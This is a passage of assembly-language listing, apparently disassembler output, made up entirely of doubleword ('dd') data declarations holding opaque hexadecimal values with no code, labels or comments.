		dd 0E59A49E1h, 7B00DF10h, 0EE613EBFh, 111CA2Eh,	0AB1EEF04h
		dd 4031AAB6h, 0F72575CCh, 906DAE0Eh, 9DDC2083h,	24A9955Eh
		dd 80844061h, 0BE02CDB1h, 9900FF9Fh, 0D2499B1Ch, 0EF856Eh
		dd 0ED630133h, 6C580FC0h, 7FBD7000h, 0AFF71E7Bh, 91CA0190h
		dd 13F57CE2h, 0A0C04376h, 0C14B14A8h, 31D9AB07h, 48B28588h
		dd 65840E3h, 6D5C01A9h,	240DAD9Dh, 37199D75h, 135A9F40h
		dd 0F04C18ACh, 7AC3397Fh, 786B8100h, 7222BA9Dh,	9AC24B12h
		dd 0DACEEC00h, 73EC9759h, 0CA690702h, 20E6F8F5h, 4B5B3334h
		dd 0C25CDE1Eh, 1FF070C0h, 3A020h, 0EB80C821h, 37D53828h
		dd 8039B494h, 85EF253h,	80BBDBh, 961929EEh, 9004F94Ch
		dd 0F8F64200h, 321F91AEh, 79520CC2h, 47F05AE4h,	0AB38890Ch
		dd 96AC8C7h, 0FF3C6846h, 66345000h, 0D400B696h,	1EA80503h
		dd 858F6h, 35FFAF30h, 97106C71h, 0D0DA4C00h, 980248B1h
		dd 8C4539DEh, 0AD0138CCh, 0EDC1D574h, 0C978302Eh, 848A0344h
		dd 0DD3BB17Dh, 16BE8F66h, 0E7FAC036h, 4D6BF8ACh, 12015C6Eh
		dd 0E9892617h, 210BBEBh, 238A0CF9h, 0B524E858h,	82591742h
		dd 39B20084h, 2294A036h, 6C430226h, 7F6C9904h, 87B80402h
		dd 8F89E640h, 1F540E01h, 67589D23h, 0C806E040h,	0A63200A0h
		dd 640D628Eh, 0A1008F15h, 78129E58h, 38F2F89Ah,	843A7D3Dh
		dd 0C99CD0h, 63C8650Eh,	0C2189B87h, 4BA1A960h, 7B81ECh
		dd 2F0F8ED6h, 0B854C029h, 0D5F79112h, 0EB626001h, 0CFC835DDh
		dd 433106CBh, 58C03FD6h, 264CC701h, 0B2507D5Bh,	0A9D0D847h
		dd 3CCCD527h, 62024084h, 0E6314744h, 0FC565848h, 68357B17h
		dd 0B629C496h, 0E2B380C4h, 544BEDB4h, 0A309A075h, 8FB88B86h
		dd 56EC8124h, 22ECF161h, 0E1BC00BEh, 0EF3B70DEh, 15E47879h
		dd 50DC1800h, 22F48CB0h, 898300D6h, 0C37B3149h,	0D4794130h
		dd 0F04F5725h, 0DC0B0007h, 7E02B599h, 7524F0FFh, 83050038h
		dd 0F820371Ah, 0EBDAFBh, 0AC983968h, 74577EF7h,	0E2BDEF04h
		dd 60E44D90h, 1A3700A1h, 0E0F6CDBFh, 9AECFEFFh,	23D55104h
		dd 0B8C0803Fh, 46B2A0D4h, 64007ECDh, 263B4B1Fh,	6A65C1h
		dd 41341249h, 19376E7h,	0A3F32A02h, 0C0E624B6h,	1EE0DEE8h
		dd 200A94FDh, 6E5B6616h, 10E36D0Ch, 0AF3B00EEh,	9A407D9Eh
		dd 0AA1F5D65h, 3A42D8A0h, 0E83ED4C3h, 1E205138h, 0A85C28B5h
		dd 0B6E100E8h, 5A56C42Dh, 3500158Ah, 983EA592h,	3A1E85B2h
		dd 0B0037428h, 3D821366h, 3809CFABh, 33A18E39h,	1530843Ch
		dd 1FA75D3h, 33BB7301h,	1A50A46Ah, 42C5F4h, 9C1B35Dh, 0E5B8812Fh
		dd 0AA11EB00h, 0EDC7A021h, 0A553003Ah, 1DDD59F9h, 5D2E4FFFh
		dd 1F0028CBh, 0DF5E7ED0h, 742400B0h, 0CFFBBD5Ch, 0D60077FFh
		dd 0DC534712h, 0C9E44Dh, 5A31F007h, 0B49FCBB8h,	9408431Eh
		dd 22A60B40h, 0A0E379h,	6028994Eh, 0D10F3A8Ah, 93012F05h
		dd 38D0D885h, 14D275h, 3D27B1FDh, 9781F0BDh, 0C8197D0Fh
		dd 5712054h, 0E9D416h, 0F0A9FDF4h, 346EC6A5h, 0FB7D940Fh
		dd 623CCF71h, 409A659Fh, 5778E8h, 0B3C911C7h, 61C81826h
		dd 1C1FD02Ch, 6E95AE9Eh, 763700CCh, 0ECFB7280h,	1804951Bh
		dd 3C10A071h, 9E42E300h, 0D30284Eh, 59F63Dh, 0AD4B6513h
		dd 0B5CAD3D4h, 8F4CA203h, 0B3D82619h, 9A5FA054h, 5A7100D0h
		dd 9438E5F0h, 413B6FEEh, 64298173h, 1BBA628Ch, 17565E4h
		dd 932B7678h, 0F8EB1AABh, 291F7499h, 0B4040F2h,	9A116613h
		dd 0E45400FAh, 6A3EEC44h, 22608B15h, 82D92940h,	425F09AFh
		dd 8E0C157h, 0F0EFFC94h, 0C5008978h, 9C40E14Eh,	0A0CC05h
		dd 3248D85h, 634D425Ch,	0F0A23903h, 0E8821AC3h,	0E0D323h
		dd 0CBF2A943h, 5D9485BEh, 0B14B56E2h, 88AF5480h, 0AC58129Fh
		dd 5F1B1649h, 31B709A4h, 0A9C02CC3h, 0A87AD82Dh, 0AA9908C3h
		dd 8129B228h, 38D7FF10h, 4EA9399Dh, 588EBDA0h, 500D8882h
		dd 80D10C48h, 559AEA03h, 0C02CD0D3h, 1C6C053h, 0AFE5B5BFh
		dd 808B8010h, 0D6F5B730h, 17B1A6D1h, 7F654DCh, 0D0FE700Eh
		dd 4EEE923h, 308B8CA9h,	30C0A953h, 0D82C15A8h, 27B73986h
		dd 2150162Ah, 60003546h, 0EA09BD9Fh, 3262031Ch,	9A92C774h
		dd 9800699Bh, 111DEB57h, 0B1770Eh, 83A0CB89h, 6CFC16BFh
		dd 7C479300h, 0B76FEFF4h, 0D5CC3A5Ch, 0E9C2124h, 8763572Bh
		dd 0A13F0B8Ch, 0F9171C8Eh, 8070BDC1h, 88CF589h,	0CB20329Ah
		dd 0C617BF00h, 4AA36EA7h, 0C08407B7h, 0D02B2AE4h, 30CFD3F0h
		dd 0AC0F46ECh, 8025B8ADh, 34080E54h, 59930A9Ah,	80B05709h
		dd 0C049FA8Ch, 0E51DD8D1h, 8B3E936h, 0A9210041h, 0C376490Fh
		dd 4CE879D1h, 7C78C0C0h, 0AF0560h, 16E53BC5h, 348BE94Dh
		dd 63C919DAh, 0D022A0F4h, 0D411C036h, 0A9823DAAh, 5A08003h
		dd 0A39F90B7h, 0F22126FFh, 5475037Ch, 0C0CF23CAh, 43BCAB69h
		dd 9C1ED0C1h, 0BF036F35h, 80D40B81h, 1C712E18h,	67981591h
		dd 0DF01805Ah, 220CE415h, 1FF8BA3Bh, 942C7C29h,	65D15100h
		dd 0E588111h, 0AAD9B3F2h, 5DFB41C1h, 8A02CC1Fh,	380E8600h
		dd 2ED8C4E6h, 0CBC3D47h, 6309950Fh, 0AA450A80h,	0A73FF089h
		dd 0E6FD83EEh, 0E026D66Fh, 754240Ch, 19EC2B07h,	3A3F018h
		dd 847AC4C7h, 0CB442006h, 7183C02h, 0A68C3DFBh,	45E88703h
		dd 1E18014Ah, 0FC6C747Ch, 5700845Ch, 88C00E0Dh,	0E0D6FCh
		dd 0EC6D5DE8h, 0C4556A0Bh, 0BECC4100h, 0E1C88B1Ch, 21CCFB94h
		dd 963132C5h, 149E04E8h, 3824201h, 3C1F48C9h, 449898BBh
		dd 94618946h, 0C700B570h, 0F863A024h, 7BC132Dh,	5BD5E92Fh
		dd 516FB014h, 0FD3C7A90h, 0A6A50344h, 1C46228Dh, 80673C40h
		dd 3BE8AF7Eh, 0C01D3D1Dh, 74181EABh, 331BD21h, 9DB8E67Eh
		dd 780039D3h, 13D0AF2Bh, 17F22C69h, 86A7C7h, 32F8DF99h
		dd 8C03CF03h, 2421222Fh, 0EF490068h, 8EA1AA3Dh,	8A14D0D4h
		dd 728A0F1h, 5139B4Ah, 3E019A7h, 399580D8h, 47001BE3h
		dd 0C4C8DC38h, 0EB07E84Fh, 0AA014944h, 4780CC7Ah, 0B5F7F443h
		dd 5E8E06C0h, 8FED84Bh,	61218760h, 370F78Ch, 0C53A1282h
		dd 181501EAh, 0F4AB52h,	5B06D403h, 118C6C8h, 4BFFD85Ch
		dd 9DB6BD52h, 3A06A221h, 79113E49h, 20E5005Ch, 3F8C83C4h
		dd 8A748BBFh, 20427530h, 0ECE59951h, 0A92F1D0Eh, 0C81AC020h
		dd 6E3EC5DAh, 83076738h, 8ED858DDh, 0A0379B91h,	2FEA76Fh
		dd 26756EA8h, 0C39447h,	745710Eh, 0D7BBE0E7h, 0FCFA653h
		dd 0A4882EEEh, 1C5817BCh, 0CED9F000h, 8C6C525h,	0F841915Eh
		dd 449CA732h, 4DB560A4h, 17CA0071h, 0F06F1D92h,	3A0AC4B3h
		dd 0A03FCBADh, 6AF6381h, 6BECA439h, 7EBC0AF7h, 10EA66h
		dd 7B06B0FDh, 4830087Ch, 0B122A9EBh, 0A77E5Ah, 37BF043Dh
		dd 9FC9B94Dh, 40092918h, 0C06A24D0h, 35B265C1h,	0B000F371h
		dd 77A1A93Eh, 798E6Ch, 0D0756BD8h, 43E301F7h, 0C4209E2Ah
		dd 6E8134A3h, 0BD0B609Bh, 49ED3Ah, 22A89EB1h, 63218ED9h
		dd 7A2C6172h, 0DEA9540Bh, 0A5B50073h, 0FE13F298h, 0C0AF004Fh
		dd 0FE744259h, 0BF1CC81Ch, 4C4FD831h, 3A45FE6Fh, 9C40A5EEh
		dd 0F17B4A69h, 16210FEAh, 120A2B02h, 0A6269CC4h, 8A6A00A7h
		dd 15CA8145h, 709CA700h, 0F3BE38BCh, 95B0004Bh,	83412580h
		dd 5218401Fh, 39413BA8h, 492A1202h, 3234436Ch, 3CC817FCh
		dd 9404CE46h, 828D6DCDh, 0A6492D80h, 0EF48072Ch, 0D042C902h
		dd 1B378E34h, 2776A900h, 5CA6DDAEh, 1E6E7FB6h, 0E110620h
		dd 8AE00798h, 0BA43D003h, 9ABB39h, 0BD47F3B0h, 0CC3E9FDFh
		dd 0FA21B809h, 2AA75201h, 0D5B27B55h, 1F7CD340h, 50866056h
		dd 0BB93C5ADh, 0E413D320h, 9EDF002Bh, 3DB70CFh,	9A0094C6h
		dd 0B99B805Bh, 0F2AF709h, 5C955048h, 680C30DBh,	40407F03h
		dd 0AA6A00D7h, 0FF92EA2Bh, 0D6006120h, 3D98F411h, 60821772h
		dd 7237877h, 1500A775h,	0BAD9C65Eh, 609A9E4Dh, 0F79B50B9h
		dd 3C030703h, 34BF9FC1h, 0A846FFF1h, 0E0EE71h, 315E3003h
		dd 0D59B4698h, 54697E01h, 0B36DCBCEh, 60CA8EC8h, 0F6F1899h
		dd 9F549D0Ah, 2F186BA0h, 3488137Ah, 4A520001h, 0AB3DF1AFh
		dd 9E007E7Bh, 307F24A5h, 35AE46h, 0DF965957h, 68065540h
		dd 0C5456B00h, 4694ABD1h, 3CB000F8h, 10DA179Fh,	13B0C3Dh
		dd 84E580C6h, 0CE67C1EBh, 42530079h, 97D166EFh,	650F13DBh
		dd 6F60DA18h, 467EA25h,	0D87A617Dh, 1B108638h, 1D0B1C6h
		dd 272893FDh, 0F4D0143Ah, 0F8002B89h, 2312FED9h, 64A5B1Ch
		dd 82FD1D88h, 0C444292Dh, 0C0C3072Ah, 0A2EAD990h, 0DE805A7Ah
		dd 960C043Bh, 0B4DCDD1Fh, 2562003Bh, 14ACD747h,	5E06008Dh
		dd 2A42BDD2h, 0F6388159h, 0F2DF0093h, 0D455C75h, 0E3FE4Ch
		dd 0F8312925h, 42D2CE03h, 0B07F9900h, 30E93518h, 53BE0039h
		dd 0ABB8DD04h, 3E00FBBAh, 95DFE6Ah, 697312h, 3D88D1E2h
		dd 525AAC4h, 11A7F8FBh,	0A299901Fh, 4465DE40h, 0F5BF3CFh
		dd 3582DB34h, 7CD60053h, 62E70203h, 4AED2001h, 0B93851C1h
		dd 7B8880C7h, 803900F6h, 9B34E64Eh, 7A0063F0h, 14F5BBCBh
		dd 7C7856AEh, 0AB9E0067h, 0E76AF58h, 37F2D165h,	56B31F00h
		dd 48590B0Fh, 0EA9500D0h, 0BC8A93A5h, 180171BEh, 0EEA82B1Eh
		dd 72C0390Bh, 7EC40F31h, 0F9E0D66Ch, 0B6189506h, 0E666331Dh
		dd 0D2C21380h, 1FD8472h, 738BBCCFh, 431E2486h, 300737F8h
		dd 14597CE2h, 0EA1034C0h, 123500B3h, 0F87FDC66h, 7B008B43h
		dd 0B5D86149h, 7984299Bh, 88D0081h, 9CFE9828h, 0A174BF8Bh
		dd 462F39h, 0A82E2327h,	3660C1h, 0BEDD03AFh, 0B2261805h
		dd 38534524h, 7110800h,	3F6E105Dh, 0A280CDB1h, 5B3F1633h
		dd 8D152E7Ch, 20A795h, 0D7CC02B7h, 0F48ED6CDh, 707B3CD5h
		dd 0B2FCE68Ch, 8700843Ah, 0F8CA14CBh, 6569B3Eh,	461508E9h
		dd 9001D00Dh, 8FF76743h, 0EF4602FCh, 83FD0068h,	25A291DCh
		dd 130174C8h, 0FB3653D2h, 3F307F3Bh, 0F1840C07h, 0F6102A3Ah
		dd 9ED2611Eh, 0E98FDB01h, 0A024C609h, 0C8A80219h, 0D7C9A2ADh
		dd 4939A8A0h, 1F005830h, 0E10EF0A0h, 0F638248Bh, 8FA81802h
		dd 47B729C1h, 6C57BE00h, 0B82BFD21h, 82B02897h,	0BA8A3BB4h
		dd 0A7000938h, 79CA1FE5h, 397605C9h, 0CB5E0E00h, 0F2E911E6h
		dd 937D00E7h, 61E4A8A7h, 3601EE80h, 0A93470CCh,	9AD06FA6h
		dd 74010971h, 818C2E2h,	0A8862F40h, 0CED9B720h,	31206081h
		dd 6529FF11h, 73ECF500h, 19CC126Dh, 87160E96h, 560AA6D2h
		dd 0DE9B1C84h, 0CAADC0B1h, 8661C03Dh, 10AED90Eh, 565CA0E5h
		dd 60F3906Ah, 604F81Bh,	2275B491h, 0E11403F8h, 80A4EF28h
		dd 0B64E7F1Fh, 9EB514E9h, 0C200D866h, 2281A708h, 6829EE9Dh
		dd 8D018404h, 7F26C8B4h, 0FA595024h, 0DFAD00DEh, 0E261D231h
		dd 800082D7h, 6AB905A7h, 26878C46h, 80DC9D3Bh, 1F4B341Bh
		dd 28059903h, 4AA638F9h, 0BB5C8800h, 8043681Eh,	615CFE1h
		dd 0A6467E3h, 40D22015h, 74A500CBh, 491EA516h, 24C484B0h
		dd 8C0A2979h, 35565483h, 12C13800h, 0D87DE85Ch,	37960097h
		dd 0B60FEC7Bh, 3600D3ADh, 63BC73B7h, 0DCC030h, 246C37A9h
		dd 1059C650h, 1732E701h, 78143485h, 68E2FCh, 0DE2E9056h
		dd 0D77B8938h, 9181F0A3h, 9BC3606Bh, 368F4000h,	0C92CA8F7h
		dd 6F1F0192h, 897EBC59h, 0BFCCC095h, 0F04A0131h, 4BD67B5Bh
		dd 0B80BF2F4h, 0A0D670h
		dd 0F096674Ch, 0D46F7B16h, 0F2C30A00h, 0D02CAEB4h, 0A8C5502Bh
		dd 66060E4Bh, 0DD8036BBh, 4F98B3A7h, 882AFE28h,	80267E22h
		dd 595A0C44h, 0A61C0017h, 0A2EF40F3h, 2B2F5FCFh, 48C94909h
		dd 914C9496h, 91AC8110h, 708ECE7Ah, 0E506CD5Eh,	193DDCFEh
		dd 8B7003B8h, 71D9D752h, 9B279CC8h, 0EE93F5A0h,	7B12D61Fh
		dd 80004753h, 0A9FBC853h, 7AB201A8h, 0D236B3C5h, 52988049h
		dd 219D623Bh, 0AB10C04Dh, 0A2F5A498h, 8D0BB500h, 1C38FA52h
		dd 423A3BE6h, 0C08F851Eh, 27B82557h, 9078A87Ch,	748C361Ch
		dd 0B5413A9Eh, 0D2602CE4h, 39CEA1DCh, 0D980595Dh, 8EDD88A3h
		dd 2F001594h, 0BA0E8116h, 0D57296h, 253B4742h, 87F9A68Bh
		dd 689E1330h, 394D6597h, 717BCD6Eh, 19CE00DCh, 0B70E08B4h
		dd 21E0C20Bh, 8DB94A07h, 0B54611D6h, 18406090h,	1B8E7293h
		dd 54F5E907h, 0A400DF53h, 1C5F6Fh, 9AC0D77Fh, 3D86D243h
		dd 5E5BC106h, 8A2D94h, 0FA775028h, 55FCCA80h, 0B8044Ch
		dd 180A22D9h, 8898F5h, 0E2C4F17Dh, 4D6163D8h, 847C503Dh
		dd 51DDEB82h, 293DC4D0h, 0E08E04DEh, 1B11B4h, 6926E372h
		dd 2BE46Ah, 901891CDh, 7A6157FDh, 0C4194528h, 2794E612h
		dd 0C7F9E020h, 866509FFh, 487DE2Ch, 1B196010h, 0A900A11Fh
		dd 73E1BA6Ch, 32B47F7h,	2ED02384h, 40AFFEB7h, 0E6DD2791h
		dd 7A0B261Dh, 0ABC0EADDh, 3375ED78h, 5B7000BFh,	53BD741Ch
		dd 600B2A2h, 0F65F2EFEh, 496004h, 0F1CCCEAh, 990A6A1Eh
		dd 7D8C8603h, 0C50918DBh, 347CCF80h, 2F851CB5h,	4C09226h
		dd 90449C2Eh, 1B0BF2BCh, 0CB3E8D09h, 0B98820C3h, 2A778A8h
		dd 9E663544h, 78C8A4CFh, 40092A0h, 0A1832374h, 0A22260h
		dd 0ADF0F21Eh, 0AE325524h, 9E251900h, 292AA86Eh, 9CA24D4Eh
		dd 45D80E26h, 0DBC50596h, 0FEA84E5Eh, 0BC0209C0h, 0B8B2BA42h
		dd 140D4A00h, 5FAD7A9h,	58EF07AAh, 0D2225CDBh, 44C0430Fh
		dd 16001208h, 601DF2E6h, 0F6A44EFh, 40C0539Eh, 0EBF8EA40h
		dd 0B1326D2Eh, 60066A9Bh, 26116369h, 0C144D2B8h, 0FB1BCC93h
		dd 3BE080C4h, 2528812Eh, 0ED0088BCh, 942A2820h,	391AEF1h
		dd 4409B5ABh, 21021B6Dh, 80F87598h, 0CD98E83Dh,	2C17E04Ah
		dd 5890368Bh, 0F9005D5Ch, 1E1C3CBAh, 29C83E4h, 129361E5h
		dd 69E0CA5Fh, 5109C016h, 9136B25Bh, 38C9DA5Ch, 0E674DC19h
		dd 0E4933C00h, 32890EA8h, 0FF0D3A9Fh, 0E8676C00h, 76093147h
		dd 24F6B4A8h, 51D88900h, 2615D056h, 0DA7700E1h,	12EF117Fh
		dd 9D0014ECh, 0B3CF5584h, 0BC56FF5h, 5386699h, 18029C0Bh
		dd 0CE0407Eh, 200CC13h,	52DA1027h, 71BA9F7h, 81B09A2Fh
		dd 183A20AEh, 480E115Bh, 20D777F4h, 5F15840Ah, 946C5497h
		dd 0E044942Dh, 7CE5FDD4h, 4903B1DCh, 0F0E86D03h, 0B8E7C666h
		dd 96F900C1h, 33A02223h, 0EF072B7Ah, 66C249B4h,	0B0FD1351h
		dd 49E676C4h, 0A637F474h, 13E340B9h, 0C001F0A3h, 2B89FF1Ch
		dd 7060DE59h, 0FC0F0A23h, 60D81248h, 2E02F69h, 86FBC301h
		dd 80161110h, 0FED9D2D0h, 23E412h, 3BD3D6BCh, 0F2810C1Fh
		dd 48B1D717h, 0E0058062h, 0B58F1D6h, 9477694Ch,	0ACCDA600h
		dd 73098536h, 80C0128Ch, 0FDDD4F8Ch, 0FA5A7994h, 0A6870006h
		dd 70B820F8h, 96007AF1h, 0FCFBEF29h, 39C157C5h,	0E789D384h
		dd 0F5007678h, 98B80D39h, 2D50FE73h, 0B6E0A190h, 0AC11800h
		dd 4673970Eh, 0BF0C04Dh, 0CEDB1287h, 0D352F206h, 0F618561Eh
		dd 0D88D006Bh, 3BFD6C60h, 4FF6E318h, 0CC139424h, 9032378Ah
		dd 23BBC789h, 88DA9644h, 5DAF87D4h, 0E517C0BCh,	0A984453Eh
		dd 7EE80044h, 2401F84Ch, 17F23C0Bh, 3B4A020Fh, 1998F38h
		dd 166253B8h, 2E616EE5h, 5A57E9FCh, 170E8103h, 0E880EA6Dh
		dd 0B8A8FCC6h, 0BE00A373h, 8E29095Eh, 1F1DB5B3h, 0DFFEBB7Bh
		dd 9A62C024h, 88CE2B61h, 0B6F09000h, 0F1A7FBF6h, 3CFC22h
		dd 21708FFDh, 0AE58274Fh, 34AB5600h, 0BBA003A5h, 6DFE431h
		dd 7EE8F452h, 320020E9h, 0CEE73A37h, 7AD7F34h, 2376C197h
		dd 1D1AE015h, 7200D94Ah, 0C457051Fh, 0CD4C0Dh, 0FE801CBFh
		dd 0CB7A2F82h, 0F2FA3D71h, 0EC2D5000h, 110BEA95h, 86DF0027h
		dd 2CCE04E6h, 3A7BF61Fh, 0D9722E00h, 5B08A3E2h,	0F1CD0B06h
		dd 1C004185h, 0E4313892h, 6C09DE0Bh, 55D5811Ch,	9BF80F19h
		dd 0B187002Ch, 0FED7E270h, 5E585749h, 680A0170h, 59FB92C1h
		dd 907BCBh, 0AB842F6Bh,	0D6C5107Ch, 0D96D2100h,	51F3F0AEh
		dd 172E00F6h, 197923B7h, 6B04ADDFh, 0EF52B8CCh,	1A7D4580h
		dd 0F83074A9h, 0F3806A6h, 713CD595h, 874D8E26h,	841F0428h
		dd 2FC1FDBBh, 104C2831h, 28E6EBC8h, 0E07592h, 0B2F0FA56h
		dd 52E5969h, 15538h, 39F9BC6Ch,	0B89E0Fh, 0A3CC968Ch, 0C0E403B5h
		dd 0EC6B21Eh, 24F0003Eh, 72562346h, 0E3991863h,	34EEE0C1h
		dd 759BEB4Ch, 0EA012900h, 0DB247084h, 646E003Ah, 48853145h
		dd 43016C9Dh, 4C91A2Eh,	0C0808638h, 291B83B8h, 0FD00C86Eh
		dd 0DDD55B7Dh, 0F0BD64DCh, 0F684B80Ah, 1DF7F86h, 91B1D08Eh
		dd 20E74E79h, 28002218h, 0A174896Eh, 168DC402h,	1AA98A0h
		dd 78876988h, 4EA06030h, 74131690h, 0A800B634h,	284B6299h
		dd 51173B24h, 0AFF0880h, 50EEB1C2h, 5673AD0Ah, 7400F6D9h
		dd 65D65509h, 4AD000B6h, 0E5AAE948h, 5C0012B2h,	0C93582A7h
		dd 273543Dh, 0F8B5D8F9h, 0CC0DF40h, 0D0F05629h,	3CB9A92Eh
		dd 0B204C50Ch, 0F672ECh, 29FAE421h, 0B32E6BC8h,	79794E3Bh
		dd 8FB10C3Ah, 833CDDBDh, 0B0E88767h, 0D2328Ch, 161B1566h
		dd 89750746h, 1800AC4Eh, 0BA3727F9h, 7A73E9h, 7C7F6FAAh
		dd 61C142Ch, 44ECE30Fh,	567120BBh, 0BCE7B7h, 6E96FE04h
		dd 0B952EDC2h, 0C6B1CB00h, 0DF48F063h, 0E68C2845h, 58B2E49Ah
		dd 90747E2Ch, 4A7F37E2h, 3980B918h, 46DAD235h, 96695Ch
		dd 0E18CF093h, 0F24D2F15h, 0FCA20FB2h, 7A0C864h, 67452A6Dh
		dd 0CFEA2D00h, 4E4DCA3Fh, 20021FDEh, 1A5227h, 0C6598F08h
		dd 5C0032E8h, 0ABF36D57h, 0BA2BE4Ch, 592D9AEh, 6E5ABE03h
		dd 0D5FC6989h, 6A25C47Fh, 4A00EBEEh, 8CDDFDCh, 82139Fh
		dd 192A75F2h, 17B7BE59h, 3B83CA1Dh, 0D1634A80h,	0D6F32Dh
		dd 8625495Ah, 76E0B2A4h, 1CFC101Ch, 94B60901h, 11704301h
		dd 84E6FBh, 3B22152Eh, 44C9AAF6h, 0CA13FCEAh, 3400F54Fh
		dd 9D7301A3h, 99780EABh, 0C9E9F2B3h, 5204C8C8h,	0A65BD400h
		dd 6C7B134h, 7FD90B6Ah,	8B02F078h, 0B4C31FD1h, 41B33680h
		dd 0E55E87EBh, 6D10746Bh, 29F36Fh, 9BB4913Ah, 313DAC14h
		dd 28D30700h, 82F167C0h, 6A800E60h, 131905h, 0BC8B85FFh
		dd 77005771h, 4BF0D15Ch, 0E2CDAEC3h, 0E768094Fh, 80C0343Dh
		dd 7C0710A0h, 579F44EAh, 6C40D447h, 3DBC25Ah, 7926A4BEh
		dd 0BCE0F7DAh, 0B61261DFh, 40494369h, 0D60700E0h, 61C25E8Ch
		dd 0AB2E0832h, 34208168h, 51DE5B7Ch, 0F03A27F4h, 0A1D71FB9h
		dd 0D9FC000Ah, 0DA8FE7A2h, 28825Dh, 0B78132C7h,	185C2347h
		dd 106AB830h, 0F4003E45h, 0F1DA7D4Ah, 56194CDh,	0E7C4D4EEh
		dd 0B864014Fh, 0E5B55C97h, 573AF107h, 0F643F070h, 400A501h
		dd 8850D327h, 5C57C1Dh,	0EB445387h, 851CC056h, 0BF0C4F60h
		dd 0F8A57F70h, 4060067h, 437550D8h, 0E8051E12h,	0B72E57FCh
		dd 2B398404h, 26741380h, 9F970684h, 0D17BAF85h,	470F0D00h
		dd 328BA870h
		dd 0FB5500C2h, 0FF6DE335h, 3800C326h, 5BB7A57Ch, 773FBA21h
		dd 6F280FA3h, 86E18C52h, 0D8E8A14Ah, 0C4788138h, 8127E23Ch
		dd 0FECAE5F7h, 408E3114h, 0C895FCCDh, 87BD3000h, 0CA1CE794h
		dd 0F4BA0504h, 14B0AFAEh, 0A8C9009Ah, 51C28459h, 8D50E5D2h
		dd 0FDEC6AE8h, 7103F301h, 8F29B7DEh, 0FE34B9FCh, 0DD58E8EDh
		dd 697BD8D1h, 0CC004314h, 835005F3h, 0A99760Eh,	960F7DD3h
		dd 0D57740BCh, 2003EBAEh, 0AFB92AABh, 83490052h, 59807464h
		dd 0E5717FE1h, 7D06E70Ah, 853AD04Eh, 0DE1D612Eh, 0DCD00EC0h
		dd 9B50083h, 3194ECA2h,	0DB0FF903h, 622E1E3Ch, 80596C8Eh
		dd 0D2894610h, 0EE0E02B4h, 43DE2BE7h, 62B575E0h, 28DA6D33h
		dd 0A2090029h, 59E68168h, 0A10079FCh, 9CBF5BC3h, 18887B2Ah
		dd 28EC7307h, 0B0006764h, 47E84FA6h, 0CEA38Ah, 5E4ACFDh
		dd 2EA55E86h, 0B0FBCD00h, 1A91D032h, 395000CCh,	0D108A973h
		dd 0D50AA422h, 0D6F98FB1h, 0AAB5A830h, 992C1D80h, 116E4374h
		dd 3FD067D5h, 320063EAh, 37E10CD8h, 0D3FF5123h,	0B130089h
		dd 5831805Ah, 747EFD03h, 0D07F67C7h, 0EC6B746h,	0FB870977h
		dd 35801FEEh, 5E5318D1h, 97B4220Ch, 1A495Fh, 8F91FA81h
		dd 0A11D1E26h, 577319C2h, 3A4A0AFh, 18C02A60h, 21F605B8h
		dd 791E832Fh, 0C7000C24h, 326D54Dh, 0FA7BE422h,	10F054h
		dd 0FE170D64h, 769C2A8Fh, 52740807h, 4860B16Dh,	6B35FF5h
		dd 7D14B993h, 3100C690h, 0C6DE6C74h, 3EC47E4h, 66BCB375h
		dd 88A07FB1h, 0CB00DC62h, 0A531B050h, 1C2568D3h, 9E21301Ah
		dd 0D234000Dh, 0AB38EC74h, 5E14F8C0h, 22CBD5h, 0E6D178A9h
		dd 4CC47FAAh, 0D810AB63h, 0D768D888h, 0A5770F39h, 189D16E2h
		dd 4717213Bh, 8000E1E6h, 9E33C2FFh, 33C2C24h, 98B5F023h
		dd 2858AAE2h, 8910064h,	0A031ED29h, 94580C57h, 1B484FADh
		dd 0F2B77500h, 11A4AAD3h, 263838D2h, 7EC06200h,	0DA4F349Fh
		dd 251E9700h, 64440D33h, 0A6041817h, 0F6B14057h, 4A23E900h
		dd 5311F00Bh, 60F174C3h, 6D8E61B4h, 460707EAh, 12F35179h
		dd 1E6421BFh, 42C57E90h, 1CEA5A20h, 0C051D774h,	7A39CD1Ah
		dd 275F62E9h, 1249EEE0h, 0C479C3h, 59683715h, 81C0A191h
		dd 0ACEED161h, 8BFC387Bh, 0D36BA783h, 0A5D2706Ch, 7ACB80A0h
		dd 0CC38C4C3h, 26038C80h, 60CA0857h, 81642075h,	220319C3h
		dd 988941Eh, 921798AFh,	35262A65h, 0F525E8B8h, 0AA809047h
		dd 3093B90Fh, 0BFE9B7D3h, 970050D1h, 5B920295h,	65388Eh
		dd 625D2D53h, 31D85E46h, 8FD2D03Fh, 63FDA2E1h, 0A4AB16h
		dd 0E9494AC9h, 73C30E8Dh, 37138707h, 0B7623572h, 328E225Ah
		dd 0BFC18E60h, 0E2D77E00h, 12A89D5Ch, 2DF30096h, 9ED08E0Ah
		dd 4C031A2Ah, 0D20D3750h, 81B4A7h, 6710C949h, 2803623Bh
		dd 0E41B3571h, 0CB600056h, 66CC3FD0h, 5FFE8753h, 0A02E6D05h
		dd 1C819404h, 1EBE8B5h,	50557821h, 4E14811Bh, 70441120h
		dd 0A8A92A81h, 397023C1h, 0D77B8F7Dh, 4FC81011h, 6914F88Eh
		dd 90508249h, 213FC25Bh, 0C20A8184h, 0F60DFCh, 0E6A3592Dh
		dd 0AAD94FE0h, 807FA00h, 0E8CF470Bh, 0F4EB09C3h, 0AC3081A4h
		dd 6E1ED2E2h, 632189D7h, 20981909h, 8705B9CFh, 422C7E1Eh
		dd 0B40BFC40h, 0DEF3F0h, 0C59685DAh, 8F2AB6C9h,	0AD69E007h
		dd 1DC064A0h, 0F6DD28E6h, 680F2ABh, 0EC20DFB5h,	0E200101Ah
		dd 9DC9AC08h, 0DE7569h,	0B50E1CE3h, 4291BE8Fh, 0D7BC80A8h
		dd 5800E091h, 48C9A51Dh, 18751CACh, 0BD988A52h,	2E3886BCh
		dd 5FEEA144h, 3DED4200h, 0F4A196FCh, 16C0014h, 3E195D08h
		dd 9E09D513h, 27DD94EEh, 0E073E33Ch, 56410411h,	882C28ECh
		dd 5A04D874h, 678B7D75h, 30B3D083h, 0B8213D09h,	0B6E07579h
		dd 879EC301h, 7C0FC4B3h, 6066C5E8h, 0DA1BA1A6h,	36F665B8h
		dd 9A97A201h, 88C528DFh, 0CE348840h, 4651C00Fh,	0DF8BE033h
		dd 4BCD1800h, 8162EA9Fh, 305200AEh, 0E66FB853h,	11FACC0h
		dd 6C249B03h, 90D39209h, 0C1B468h, 0CD1ECEFEh, 9D604A8Ch
